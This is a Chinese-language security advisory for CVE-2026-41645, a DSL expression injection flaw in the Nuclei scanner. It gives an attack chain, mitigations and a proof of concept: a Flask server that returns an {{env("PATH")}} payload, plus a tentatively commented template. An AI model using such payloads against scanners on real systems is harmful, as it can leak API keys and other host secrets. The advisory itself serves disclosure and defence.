IPBUF安全漏洞报告
English
CVE-2026-41645 CVSS 5.3 中危

CVE-2026-41645 Nuclei DSL表达式注入漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-41645
漏洞类型
表达式注入
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
ProjectDiscovery Nuclei

相关标签

表达式注入Nuclei信息泄露CVE-2026-41645代码执行

漏洞概述

Nuclei扫描器3.0.0至3.8.0前版本存在表达式注入漏洞。由于表达式引擎缺陷,恶意目标服务器可在HTTP响应中注入DSL代码。当扫描器的多步模板复用该响应数据时,将解析并执行注入的表达式。若用户开启了环境变量选项,攻击者可读取主机敏感环境变量,造成严重的信息泄露。

技术细节

该漏洞源于Nuclei在处理多步模板时的表达式评估逻辑缺陷。Nuclei基于YAML DSL,支持将HTTP响应数据传递给后续步骤。当扫描目标为恶意服务器时,攻击者可在响应中嵌入特定的DSL辅助函数或语法。由于Nuclei未对来自不可信源的响应数据进行严格的上下文隔离或沙箱限制,当这些数据被多步模板重用并评估时,嵌入的恶意DSL表达式将被解析执行。这本质上是一种服务端响应引起的客户端代码注入。利用该漏洞,恶意目标可以操纵扫描器的行为。虽然默认配置下环境变量功能关闭,但若用户显式启用了`-env-vars`参数,攻击者即可利用DSL中的环境变量读取功能,窃取扫描器运行主机上的敏感配置信息(如API密钥、路径等),造成严重的信息泄露。

攻击链分析

STEP 1
步骤1:恶意响应准备
攻击者搭建恶意服务器,配置HTTP响应内容,其中包含Nuclei支持的DSL表达式(如{{env("VAR")}})。
STEP 2
步骤2:诱导扫描
安全研究人员或用户使用存在漏洞的Nuclei版本(<3.8.0),并显式开启-env-vars选项,对攻击者的服务器进行扫描。
STEP 3
步骤3:数据接收与重用
Nuclei发送请求并接收包含恶意DSL代码的响应。在多步模板的后续步骤中,该响应数据被提取并准备重用。
STEP 4
步骤4:表达式执行
Nuclei的表达式引擎在处理重用的数据时,未能区分来源,解析并执行了注入的DSL表达式。
STEP 5
步骤5:信息泄露
DSL代码被执行,读取扫描器主机的环境变量(如PATH、API密钥等)并可能返回给攻击者控制的端点或显示在扫描结果中。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept: Malicious Server and Vulnerable Template # 1. Malicious Server (Python Flask) # This server returns a response containing Nuclei DSL syntax. from flask import Flask app = Flask(__name__) @app.route('/') def exploit(): # Injecting DSL syntax to read environment variable 'PATH' # This works if -env-vars is enabled on the scanner return '{"result": "{{env(\"PATH\")}}"}' if __name__ == '__main__': app.run(port=8080) # 2. Vulnerable Nuclei Template (multi-step) # This template reuses the response data, triggering the evaluation. /* id: CVE-2026-41645-poc info: name: Nuclei DSL Injection PoC severity: high requests: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: # The output of the previous request (containing {{env("PATH")}}) # might be evaluated if processed by internal helpers or matched incorrectly # in a complex multi-step scenario. - type: word words: - "/usr/local/bin" */

影响范围

Nuclei >= 3.0.0, < 3.8.0

防御指南

临时缓解措施
建议立即升级到v3.8.0或更高版本。在升级之前,严禁使用-env-vars参数扫描不可信的外部目标,并检查所用模板库的安全性。

参考链接